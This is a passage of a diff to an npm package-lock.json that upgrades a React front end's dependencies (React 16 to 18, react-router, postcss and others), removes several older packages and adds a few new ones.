"sha512-v2ZsoEuVHYy8ZIlYqwPe/39Cy+cFDzp4dXPaxNvkEuouymu+2Jbz0PxpKarJHYJTmv2HWT3O382qY8l4jMWthw==", "dev": true, "dependencies": { - "locate-path": "^5.0.0", - "path-exists": "^4.0.0" + "locate-path": "^7.1.0", + "path-exists": "^5.0.0" }, "engines": { - "node": ">=8" + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" } }, "node_modules/pkg-dir/node_modules/locate-path": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", - "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-7.2.0.tgz", + "integrity": "sha512-gvVijfZvn7R+2qyPX8mAuKcFGDf6Nc61GdvGafQsHL0sBIxfKzA+usWn4GFC/bk+QdwPUD4kWFJLhElipq+0VA==", "dev": true, "dependencies": { - "p-locate": "^4.1.0" + "p-locate": "^6.0.0" }, "engines": { - "node": ">=8" + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" } }, "node_modules/pkg-dir/node_modules/p-limit": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", - "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-4.0.0.tgz", + "integrity": "sha512-5b0R4txpzjPWVw/cXXUResoD4hb6U/x9BH08L7nw+GN1sezDzPdxeRvpc9c433fZhBan/wusjbCsqwqm4EIBIQ==", "dev": true, "dependencies": { - "p-try": "^2.0.0" + "yocto-queue": "^1.0.0" }, "engines": { - "node": ">=6" + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" }, "funding": { "url": "https://github.com/sponsors/sindresorhus" } }, "node_modules/pkg-dir/node_modules/p-locate": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", - "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-6.0.0.tgz", + "integrity": "sha512-wPrq66Llhl7/4AGC6I+cqxT07LhXvWL08LNXz1fENOw0Ap4sRZZ/gZpTTJ5jpurzzzfS2W/Ge9BY3LgLjCShcw==", "dev": true, "dependencies": { - "p-limit": "^2.2.0" + "p-limit": "^4.0.0" }, "engines": { - "node": ">=8" + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/pkg-dir/node_modules/path-exists": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-5.0.0.tgz", + "integrity": "sha512-RjhtfwJOxzcFmNOi6ltcbcu4Iu+FL3zEj83dk4kAS+fVpTxXLO1b38RvJgT/0QwvV/L3aY9TAnyv0EOqW4GoMQ==", + "dev": true, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + } + }, + "node_modules/pkg-dir/node_modules/yocto-queue": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-1.0.0.tgz", + "integrity": "sha512-9bnSc/HEW2uRy67wc+T8UwauLuPJVn28jb+GtJY16iiKWyvmYJRXVT4UamsAEGQfPohgr2q4Tq0sQbQlxTfi1g==", + "dev": true, + "engines": { + "node": ">=12.20" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" } }, "node_modules/pluralize": { @@ -12947,21 +13607,10 @@ "node": ">=4" } }, - "node_modules/popper.js": { - "version": "1.16.1", - "resolved": "https://registry.npmjs.org/popper.js/-/popper.js-1.16.1.tgz", - "integrity": "sha512-Wb4p1J4zyFTbM+u6WuO4XstYx4Ky9Cewe4DWrel7B0w6VVICvPwdOpotjzcf6eD8TsckVnIMNONQyPIUFOUbCQ==", - "deprecated": "You can find the new Popper v2 at @popperjs/core, this package is dedicated to the legacy v1", - "peer": true, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/popperjs" - } - }, "node_modules/postcss": { - "version": "8.4.21", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.4.21.tgz", - "integrity": "sha512-tP7u/Sn/dVxK2NnruI4H9BG+x+Wxz6oeZ1cJ8P6G/PZY0IKk4k/63TDsQf2kQq3+qoJeLm2kIBUNlZe3zgb4Zg==", + "version": "8.4.29", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.4.29.tgz", + "integrity": "sha512-cbI+jaqIeu/VGqXEarWkRCCffhjgXc0qjBtXpqJhTBohMUjUQnbBr0xqX3vEKudc4iviTewcJo5ajcec5+wdJw==", "dev": true, "funding": [ { @@ -12971,10 +13620,14 @@ { "type": "tidelift", "url": "https://tidelift.com/funding/github/npm/postcss" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" } ], "dependencies": { - "nanoid": "^3.3.4", + "nanoid": "^3.3.6", "picocolors": "^1.0.0", "source-map-js": "^1.0.2" }, @@ -12995,9 +13648,9 @@ } }, "node_modules/postcss-modules-local-by-default": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/postcss-modules-local-by-default/-/postcss-modules-local-by-default-4.0.0.tgz", - "integrity": "sha512-sT7ihtmGSF9yhm6ggikHdV0hlziDTX7oFoXtuVWeDd3hHObNkcHRo9V3yg7vCAY7cONyxJC/XXCmmiHHcvX7bQ==", + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/postcss-modules-local-by-default/-/postcss-modules-local-by-default-4.0.3.tgz", + "integrity": "sha512-2/u2zraspoACtrbFRnTijMiQtb4GW4BvatjaG/bCjYQo8kLTdevCUlwuBHx2sCnSyrI3x3qj4ZK1j5LQBgzmwA==", "dev": true, "dependencies": { "icss-utils": "^5.0.0", @@ -13042,9 +13695,9 @@ } }, "node_modules/postcss-selector-parser": { - "version": "6.0.11", - "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.11.tgz", - "integrity": "sha512-zbARubNdogI9j7WY4nQJBiNqQf3sLS3wCP4WfOidu+p28LofJqDH1tcXypGrcmMHhDk2t9wGhCsYe/+szLTy1g==", + "version": "6.0.13", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.13.tgz", + "integrity": "sha512-EaV1Gl4mUEV4ddhDnv/xtj7sxwrwxdetHdWUGnT4VJQf+4d05v6lHYZr8N573k5Z0BViss7BDhfWtKS3+sfAqQ==", "dev": true, "dependencies": { "cssesc": "^3.0.0", @@ -13060,6 +13713,24 @@ "integrity": "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==", "dev": true }, + "node_modules/postcss/node_modules/nanoid": { + "version": "3.3.6", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.6.tgz", + "integrity": "sha512-BGcqMMJuToF7i1rt+2PWSNVnWIkGCU78jBG3RxO/bZlnZPK2Cmi2QaffxGO/2RvWi9sL+FAiRiXMgsyxQ1DIDA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "bin": { + "nanoid": "bin/nanoid.cjs" + }, + "engines": { + "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" + } + }, "node_modules/prelude-ls": { "version": "1.2.1", "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.2.1.tgz", @@ -13080,12 +13751,12 @@ } }, "node_modules/pretty-format": { - "version": "29.5.0", - "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-29.5.0.tgz", - "integrity": "sha512-V2mGkI31qdttvTFX7Mt4efOqHXqJWMu4/r66Xh3Z3BwZaPfPJgp6/gbwoujRpPUtfEF6AUUWx3Jim3GCw5g/Qw==", + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-29.7.0.tgz", + "integrity": "sha512-Pdlw/oPxN+aXdmM9R00JVC9WVFoCLTKJvDVLgmJ+qAffBMxsV85l/Lu7sNx4zSzPyoL2euImuEwHhOXdEgNFZQ==", "dev": true, "dependencies": { - "@jest/schemas": "^29.4.3", + "@jest/schemas": "^29.6.3", "ansi-styles": "^5.0.0", "react-is": "^18.0.0" }, @@ -13105,12 +13776,6 @@ "url": "https://github.com/chalk/ansi-styles?sponsor=1" } }, - "node_modules/pretty-format/node_modules/react-is": { - "version": "18.2.0", - "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.2.0.tgz", - "integrity": "sha512-xWGDIW6x921xtzPkhiULtthJHoJvBbF3q26fzloPCK0hsvxtPVelvftw3zjbHWSkR2km9Z+4uxbDDK/6Zw9B8w==", - "dev": true - }, "node_modules/process": { "version": "0.11.10", "resolved": "https://registry.npmjs.org/process/-/process-0.11.10.tgz", @@ -13166,9 +13831,9 @@ "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==" }, "node_modules/property-information": { - "version": "6.2.0", - "resolved": "https://registry.npmjs.org/property-information/-/property-information-6.2.0.tgz", - "integrity": "sha512-kma4U7AFCTwpqq5twzC1YVIDXSqg6qQK6JN0smOw8fgRy1OkMi0CYSzFmsy6dnqSenamAtj0CyXMUJ1Mf6oROg==", + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/property-information/-/property-information-6.3.0.tgz", + "integrity": "sha512-gVNZ74nqhRMiIUYWGQdosYetaKc83x8oT41a0LlV3AAFCAZwCpg4vmGkq8t34+cUhp3cnM4XDiU/7xlgK7HGrg==", "funding": { "type": "github", "url": "https://github.com/sponsors/wooorm" @@ -13235,15 +13900,6 @@ "node": ">=0.6" } }, - "node_modules/querystring": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/querystring/-/querystring-0.2.0.tgz", - "integrity": "sha512-X/xY82scca2tau62i9mDyU9K+I+djTMUsvwf7xnUX5GLvVzgJybOJf4Y6o9Zx3oJK/LSXg5tTZBjwzqVPaPO2g==", - "deprecated": "The querystring API is considered Legacy. new code should use the URLSearchParams API instead.", - "engines": { - "node": ">=0.4.x" - } - }, "node_modules/querystring-es3": { "version": "0.2.1", "resolved": "https://registry.npmjs.org/querystring-es3/-/querystring-es3-0.2.1.tgz", @@ -13272,14 +13928,6 @@ } ] }, - "node_modules/raf": { - "version": "3.4.1", - "resolved": "https://registry.npmjs.org/raf/-/raf-3.4.1.tgz", - "integrity": "sha512-Sq4CW4QhwOHE8ucn6J34MqtZCeWFP2aQSmrlroYgqAV1PjStIhJXxYuTgUIfkEk7zTLjmIjLmU5q+fbD1NnOJA==", - "dependencies": { - "performance-now": "^2.1.0" - } - }, "node_modules/rainge": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/rainge/-/rainge-1.0.1.tgz", @@ -13351,9 +13999,9 @@ } }, "node_modules/rc-progress": { - "version": "3.4.1", - "resolved": "https://registry.npmjs.org/rc-progress/-/rc-progress-3.4.1.tgz", - "integrity": "sha512-eAFDHXlk8aWpoXl0llrenPMt9qKHQXphxcVsnKs0FHC6eCSk1ebJtyaVjJUzKe0233ogiLDeEFK1Uihz3s67hw==", + "version": "3.5.1", + "resolved": "https://registry.npmjs.org/rc-progress/-/rc-progress-3.5.1.tgz", + "integrity": "sha512-V6Amx6SbLRwPin/oD+k1vbPrO8+9Qf8zW1T8A7o83HdNafEVvAxPV5YsgtKFP+Ud5HghLj33zKOcEHrcrUGkfw==", "dependencies": { "@babel/runtime": "^7.10.1", "classnames": "^2.2.6", @@ -13365,9 +14013,9 @@ } }, "node_modules/rc-util": { - "version": "5.28.0", - "resolved": "https://registry.npmjs.org/rc-util/-/rc-util-5.28.0.tgz", - "integrity": "sha512-KYDjhGodswVj29v0TRciKTqRPgumIFvFDndbCD227pitQ+0Cei196rxk+OXb/blu6V8zdTRK5RjCJn+WmHLvBA==", + "version": "5.37.0", + "resolved": "https://registry.npmjs.org/rc-util/-/rc-util-5.37.0.tgz", + "integrity": "sha512-cPMV8DzaHI1KDaS7XPRXAf4J7mtBqjvjikLpQieaeOO7+cEbqY2j7Kso/T0R0OiEZTNcLS/8Zl9YrlXiO9UbjQ==", "dependencies": { "@babel/runtime": "^7.18.3", "react-is": "^16.12.0" @@ -13383,13 +14031,11 @@ "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==" }, "node_modules/react": { - "version": "16.14.0", - "resolved": "https://registry.npmjs.org/react/-/react-16.14.0.tgz", - "integrity": "sha512-0X2CImDkJGApiAlcf0ODKIneSwBPhqJawOa5wCtKbu7ZECrmS26NvtSILynQ66cgkT/RJ4LidJOc3bUESwmU8g==", + "version": "18.2.0", + "resolved": "https://registry.npmjs.org/react/-/react-18.2.0.tgz", + "integrity": "sha512-/3IjMdb2L9QbBdWiW5e3P2/npwMBaU9mHCSCUzNln0ZCYbcfTsGbTJrU/kGemdH2IWmB2ioZ+zkxtmq6g09fGQ==", "dependencies": { - "loose-envify": "^1.1.0", - "object-assign": "^4.1.1", - "prop-types": "^15.6.2" + "loose-envify": "^1.1.0" }, "engines": { "node": ">=0.10.0" @@ -13410,9 +14056,9 @@ } }, "node_modules/react-bootstrap": { - "version": "1.6.6", - "resolved": "https://registry.npmjs.org/react-bootstrap/-/react-bootstrap-1.6.6.tgz", - "integrity": "sha512-pSzYyJT5u4rc8+5myM8Vid2JG52L8AmYSkpznReH/GM4+FhLqEnxUa0+6HRTaGwjdEixQNGchwY+b3xCdYWrDA==", + "version": "1.6.7", + "resolved": "https://registry.npmjs.org/react-bootstrap/-/react-bootstrap-1.6.7.tgz", + "integrity": "sha512-IzCYXuLSKDEjGFglbFWk0/iHmdhdcJzTmtS6lXxc0kaNFx2PFgrQf5jKnx5sarF2tiXh9Tgx3pSt3pdK7YwkMA==", "dependencies": { "@babel/runtime": "^7.14.0", "@restart/context": "^2.1.4", @@ -13457,73 +14103,38 @@ "create-react-class": "15.6.2" } }, - "node_modules/react-display-name": { - "version": "0.2.5", - "resolved": "https://registry.npmjs.org/react-display-name/-/react-display-name-0.2.5.tgz", - "integrity": "sha512-I+vcaK9t4+kypiSgaiVWAipqHRXYmZIuAiS8vzFvXHHXVigg/sMKwlRgLy6LH2i3rmP+0Vzfl5lFsFRwF1r3pg==" - }, - "node_modules/react-dnd": { - "version": "11.1.3", - "resolved": "https://registry.npmjs.org/react-dnd/-/react-dnd-11.1.3.tgz", - "integrity": "sha512-8rtzzT8iwHgdSC89VktwhqdKKtfXaAyC4wiqp0SywpHG12TTLvfOoL6xNEIUWXwIEWu+CFfDn4GZJyynCEuHIQ==", - "dependencies": { - "@react-dnd/shallowequal": "^2.0.0", - "@types/hoist-non-react-statics": "^3.3.1", - "dnd-core": "^11.1.3", - "hoist-non-react-statics": "^3.3.0" - }, - "peerDependencies": { - "react": ">= 16.9.0", - "react-dom": ">= 16.9.0" - } - }, - "node_modules/react-dnd-html5-backend": { - "version": "11.1.3", - "resolved": "https://registry.npmjs.org/react-dnd-html5-backend/-/react-dnd-html5-backend-11.1.3.tgz", - "integrity": "sha512-/1FjNlJbW/ivkUxlxQd7o3trA5DE33QiRZgxent3zKme8DwF4Nbw3OFVhTRFGaYhHFNL1rZt6Rdj1D78BjnNLw==", - "dependencies": { - "dnd-core": "^11.1.3" - } - }, "node_modules/react-dom": { - "version": "16.14.0", - "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-16.14.0.tgz", - "integrity": "sha512-1gCeQXDLoIqMgqD3IO2Ah9bnf0w9kzhwN5q4FGnHZ67hBm9yePzB5JJAIQCc8x3pFnNlwFq4RidZggNAAkzWWw==", + "version": "18.2.0", + "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-18.2.0.tgz", + "integrity": "sha512-6IMTriUmvsjHUjNtEDudZfuDQUoWXVxKHhlEGSk81n4YFS+r/Kl99wXiwlVXtPBtJenozv2P+hxDsw9eA7Xo6g==", "dependencies": { "loose-envify": "^1.1.0", - "object-assign": "^4.1.1", - "prop-types": "^15.6.2", - "scheduler": "^0.19.1" + "scheduler": "^0.23.0" }, "peerDependencies": { - "react": "^16.14.0" + "react": "^18.2.0" } }, - "node_modules/react-graph-vis": { - "version": "1.0.7", - "resolved": "https://registry.npmjs.org/react-graph-vis/-/react-graph-vis-1.0.7.tgz", - "integrity": "sha512-FI35zlBMKU22JEvG1ukd1DDwW185y4YrDvHm6Bom9EGdA+UNMrZrIV/lyPIRWPcRkzbKaA1w1NvOYcRApD4KdQ==", + "node_modules/react-dropzone": { + "version": "14.2.3", + "resolved": "https://registry.npmjs.org/react-dropzone/-/react-dropzone-14.2.3.tgz", + "integrity": "sha512-O3om8I+PkFKbxCukfIR3QAGftYXDZfOE2N1mr/7qebQJHs7U+/RSL/9xomJNpRg9kM5h9soQSdf0Gc7OHF5Fug==", "dependencies": { - "lodash": "^4.17.15", - "prop-types": "^15.5.10", - "uuid": "^2.0.1", - "vis-data": "^7.1.2", - "vis-network": "^9.0.0" + "attr-accept": "^2.2.2", + "file-selector": "^0.6.0", + "prop-types": "^15.8.1" + }, + "engines": { + "node": ">= 10.13" }, "peerDependencies": { - "react": "*" + "react": ">= 16.8 || 18.0.0" } }, - "node_modules/react-graph-vis/node_modules/uuid": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/uuid/-/uuid-2.0.3.tgz", - "integrity": "sha512-FULf7fayPdpASncVy4DLh3xydlXEJJpvIELjYjNeQWYUZ9pclcpvCZSr2gkmN2FrrGcI7G/cJsIEwk5/8vfXpg==", - "deprecated": "Please upgrade to version 7 or higher. Older versions may use Math.random() in certain circumstances, which is known to be problematic. See https://v8.dev/blog/math-random for details." - }, "node_modules/react-is": { - "version": "17.0.2", - "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz", - "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w==" + "version": "18.2.0", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.2.0.tgz", + "integrity": "sha512-xWGDIW6x921xtzPkhiULtthJHoJvBbF3q26fzloPCK0hsvxtPVelvftw3zjbHWSkR2km9Z+4uxbDDK/6Zw9B8w==" }, "node_modules/react-json-tree": { "version": "0.18.0", @@ -13545,9 +14156,9 @@ "integrity": "sha512-fBASbA6LnOU9dOU2eW7aQ8xmYBSXUIWr+UmF9b1efZBazGNO+rcXT/icdKnYm2pTwcRylVUYwW7H1PHfLekVzA==" }, "node_modules/react-markdown": { - "version": "8.0.5", - "resolved": "https://registry.npmjs.org/react-markdown/-/react-markdown-8.0.5.tgz", - "integrity": "sha512-jGJolWWmOWAvzf+xMdB9zwStViODyyFQhNB/bwCerbBKmrTmgmA599CGiOlP58OId1IMoIRsA8UdI1Lod4zb5A==", + "version": "8.0.7", + "resolved": "https://registry.npmjs.org/react-markdown/-/react-markdown-8.0.7.tgz", + "integrity": "sha512-bvWbzG4MtOU62XqBx3Xx+zB2raaFFsq4mYiAzfjXJMEz2sixgeAfraA3tvzULF02ZdOMUOKTBFFaZJDDrq+BJQ==", "dependencies": { "@types/hast": "^2.0.0", "@types/prop-types": "^15.0.0", @@ -13574,11 +14185,6 @@ "react": ">=16" } }, - "node_modules/react-markdown/node_modules/react-is": { - "version": "18.2.0", - "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.2.0.tgz", - "integrity": "sha512-xWGDIW6x921xtzPkhiULtthJHoJvBbF3q26fzloPCK0hsvxtPVelvftw3zjbHWSkR2km9Z+4uxbDDK/6Zw9B8w==" - }, "node_modules/react-overlays": { "version": "5.2.1", "resolved": "https://registry.npmjs.org/react-overlays/-/react-overlays-5.2.1.tgz", @@ -13599,54 +14205,35 @@ } }, "node_modules/react-router": { - "version": "6.8.2", - "resolved": "https://registry.npmjs.org/react-router/-/react-router-6.8.2.tgz", - "integrity": "sha512-lF7S0UmXI5Pd8bmHvMdPKI4u4S5McxmHnzJhrYi9ZQ6wE+DA8JN5BzVC5EEBuduWWDaiJ8u6YhVOCmThBli+rw==", + "version": "6.16.0", + "resolved": "https://registry.npmjs.org/react-router/-/react-router-6.16.0.tgz", + "integrity": "sha512-VT4Mmc4jj5YyjpOi5jOf0I+TYzGpvzERy4ckNSvSh2RArv8LLoCxlsZ2D+tc7zgjxcY34oTz2hZaeX5RVprKqA==", "dependencies": { - "@remix-run/router": "1.3.3" + "@remix-run/router": "1.9.0" }, "engines": { - "node": ">=14" + "node": ">=14.0.0" }, "peerDependencies": { "react": ">=16.8" } }, "node_modules/react-router-dom": { - "version": "6.8.2", - "resolved": "https://registry.npmjs.org/react-router-dom/-/react-router-dom-6.8.2.tgz", - "integrity": "sha512-N/oAF1Shd7g4tWy+75IIufCGsHBqT74tnzHQhbiUTYILYF0Blk65cg+HPZqwC+6SqEyx033nKqU7by38v3lBZg==", + "version": "6.16.0", + "resolved": "https://registry.npmjs.org/react-router-dom/-/react-router-dom-6.16.0.tgz", + "integrity": "sha512-aTfBLv3mk/gaKLxgRDUPbPw+s4Y/O+ma3rEN1u8EgEpLpPe6gNjIsWt9rxushMHHMb7mSwxRGdGlGdvmFsyPIg==", "dependencies": { - "@remix-run/router": "1.3.3", - "react-router": "6.8.2" + "@remix-run/router": "1.9.0", + "react-router": "6.16.0" }, "engines": { - "node": ">=14" + "node": ">=14.0.0" }, "peerDependencies": { "react": ">=16.8", "react-dom": ">=16.8" } }, - "node_modules/react-sortable-tree": { - "version": "2.8.0", - "resolved": "https://registry.npmjs.org/react-sortable-tree/-/react-sortable-tree-2.8.0.tgz", - "integrity": "sha512-gTjwxRNt7z0FC76KeNTnGqx1qUSlV3N78mMPRushBpSUXzZYhiFNsWHUIruyPnaAbw4SA7LgpItV7VieAuwDpw==", - "dependencies": { - "frontend-collective-react-dnd-scrollzone": "^1.0.2", - "lodash.isequal": "^4.5.0", - "prop-types": "^15.6.1", - "react-dnd": "^11.1.3", - "react-dnd-html5-backend": "^11.1.3", - "react-lifecycles-compat": "^3.0.4", - "react-virtualized": "^9.21.2" - }, - "peerDependencies": { - "react": "^16.3.0", - "react-dnd": "^7.3.0", - "react-dom": "^16.3.0" - } - }, "node_modules/react-spinners": { "version": "0.13.8", "resolved": "https://registry.npmjs.org/react-spinners/-/react-spinners-0.13.8.tgz", @@ -13656,45 +14243,12 @@ "react-dom": "^16.0.0 || ^17.0.0 || ^18.0.0" } }, - "node_modules/react-table": { - "version": "6.11.5", - "resolved": "https://registry.npmjs.org/react-table/-/react-table-6.11.5.tgz", - "integrity": "sha512-LM+AS9v//7Y7lAlgTWW/cW6Sn5VOb3EsSkKQfQTzOW8FngB1FUskLLNEVkAYsTX9LjOWR3QlGjykJqCE6eXT/g==", - "dependencies": { - "@types/react-table": "^6.8.5", - "classnames": "^2.2.5", - "react-is": "^16.8.1" - }, - "peerDependencies": { - "prop-types": "^15.7.0", - "react": "^16.x.x", - "react-dom": "^16.x.x" - } - }, - "node_modules/react-table/node_modules/react-is": { - "version": "16.13.1", - "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz", - "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==" - }, "node_modules/react-timer-hook": { - "version": "3.0.5", - "resolved": "https://registry.npmjs.org/react-timer-hook/-/react-timer-hook-3.0.5.tgz", - "integrity": "sha512-n+98SdmYvui2ne3KyWb3Ldu4k0NYQa3g/VzW6VEIfZJ8GAk/jJsIY700M8Nd2vNSTj05c7wKyQfJBqZ0x7zfiA==", - "peerDependencies": { - "react": ">=16.8.0", - "react-dom": ">=16.8.0" - } - }, - "node_modules/react-to-print": { - "version": "2.14.12", - "resolved": "https://registry.npmjs.org/react-to-print/-/react-to-print-2.14.12.tgz", - "integrity": "sha512-qFJAwvDFd95Z+FWNqitt+HaB1/z+Zdd0MMrNOPUSus3fG32vqv512yB+HXhQ94J3HKoyqaIg44v0Zfc6xUBqlg==", - "dependencies": { - "prop-types": "^15.8.1" - }, + "version": "3.0.7", + "resolved": "https://registry.npmjs.org/react-timer-hook/-/react-timer-hook-3.0.7.tgz", + "integrity": "sha512-ATpNcU+PQRxxfNBPVqce2+REtjGAlwmfoNQfcEBMZFxPj0r3GYdKhyPHdStvqrejejEi0QvqaJZjy2lBlFvAsA==", "peerDependencies": { - "react": "^15.0.0 || ^16.0.0 || ^17.0.0 || ^18.0.0", - "react-dom": "^15.0.0 || ^16.0.0 || ^17.0.0 || ^18.0.0" + "react": ">=16.8.0" } }, "node_modules/react-transition-group": { @@ -13713,15 +14267,18 @@ } }, "node_modules/react-tsparticles": { - "version": "1.43.1", - "resolved": "https://registry.npmjs.org/react-tsparticles/-/react-tsparticles-1.43.1.tgz", - "integrity": "sha512-IWa33DP6CjcO+/upUqPhYpxduCFQvWXqCHV6rgvIPvmaqPqs8BkNbeBgBqcEPJRPzTluaD/+r9d7tDp2Uhd0uA==", - "deprecated": "React tsParticles 2.6.0 is out, please update", + "version": "2.12.2", + "resolved": "https://registry.npmjs.org/react-tsparticles/-/react-tsparticles-2.12.2.tgz", + "integrity": "sha512-/nrEbyL8UROXKIMXe+f+LZN2ckvkwV2Qa+GGe/H26oEIc+wq/ybSG9REDwQiSt2OaDQGu0MwmA4BKmkL6wAWcA==", "funding": [ { "type": "github", "url": "https://github.com/sponsors/matteobruni" }, + { + "type": "github", + "url": "https://github.com/sponsors/tsparticles" + }, { "type": "buymeacoffee", "url": "https://www.buymeacoffee.com/matteobruni" @@ -13729,39 +14286,40 @@ ], "hasInstallScript": true, "dependencies": { - "fast-deep-equal": "^3.1.3", - "tsparticles": "^1.43.1" + "tsparticles-engine": "^2.12.0" }, "peerDependencies": { "react": ">=16" } }, - "node_modules/react-virtualized": { - "version": "9.22.3", - "resolved": "https://registry.npmjs.org/react-virtualized/-/react-virtualized-9.22.3.tgz", - "integrity": "sha512-MKovKMxWTcwPSxE1kK1HcheQTWfuCxAuBoSTf2gwyMM21NdX/PXUhnoP8Uc5dRKd+nKm8v41R36OellhdCpkrw==", + "node_modules/react-vis-graph-wrapper": { + "version": "0.1.3", + "resolved": "https://registry.npmjs.org/react-vis-graph-wrapper/-/react-vis-graph-wrapper-0.1.3.tgz", + "integrity": "sha512-joKVERnXoruwHNaK9WVguM+RjlQBrwRweimtmKN7qWbJZ39ue+EPMU2Q/KN860qXcWO4YA5VGsUSxVKzZhaucA==", "dependencies": { - "@babel/runtime": "^7.7.2", - "clsx": "^1.0.4", - "dom-helpers": "^5.1.3", - "loose-envify": "^1.4.0", - "prop-types": "^15.7.2", - "react-lifecycles-compat": "^3.0.4" + "@types/lodash": "^4.14.178", + "lodash": "^4.17.21", + "lodash-es": "^4.17.21", + "vis-data": "^7.1.2", + "vis-network": "^9.1.0" + }, + "engines": { + "node": ">=10" }, "peerDependencies": { - "react": "^15.3.0 || ^16.0.0-alpha", - "react-dom": "^15.3.0 || ^16.0.0-alpha" + "react": ">=16" } }, "node_modules/readable-stream": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-4.3.0.tgz", - "integrity": "sha512-MuEnA0lbSi7JS8XM+WNJlWZkHAAdm7gETHdFK//Q/mChGyj2akEFtdLZh32jSdkWGbRwCW9pn6g3LWDdDeZnBQ==", + "version": "4.4.2", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-4.4.2.tgz", + "integrity": "sha512-Lk/fICSyIhodxy1IDK2HazkeGjSmezAWX2egdtJnYhtzKEsBPJowlI6F6LPb5tqIQILrMbx22S5o3GuJavPusA==", "dependencies": { "abort-controller": "^3.0.0", "buffer": "^6.0.3", "events": "^3.3.0", - "process": "^0.11.10" + "process": "^0.11.10", + "string_decoder": "^1.3.0" }, "engines": { "node": "^12.22.0 || ^14.17.0 || >=16.0.0" @@ -13791,12 +14349,24 @@ "node": ">= 10.13.0" } }, - "node_modules/redux": { - "version": "4.2.1", - "resolved": "https://registry.npmjs.org/redux/-/redux-4.2.1.tgz", - "integrity": "sha512-LAUYz4lc+Do8/g7aeRa8JkyDErK6ekstQaqWQrNRW//MY1TvCEpMtpTWvlQ+FPbWCx+Xixu/6SHt5N0HR+SB4w==", + "node_modules/reflect.getprototypeof": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/reflect.getprototypeof/-/reflect.getprototypeof-1.0.4.tgz", + "integrity": "sha512-ECkTw8TmJwW60lOTR+ZkODISW6RQ8+2CL3COqtiJKLd6MmB45hN51HprHFziKLGkAuTGQhBb91V8cy+KHlaCjw==", + "dev": true, "dependencies": { - "@babel/runtime": "^7.9.2" + "call-bind": "^1.0.2", + "define-properties": "^1.2.0", + "es-abstract": "^1.22.1", + "get-intrinsic": "^1.2.1", + "globalthis": "^1.0.3", + "which-builtin-type": "^1.1.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" } }, 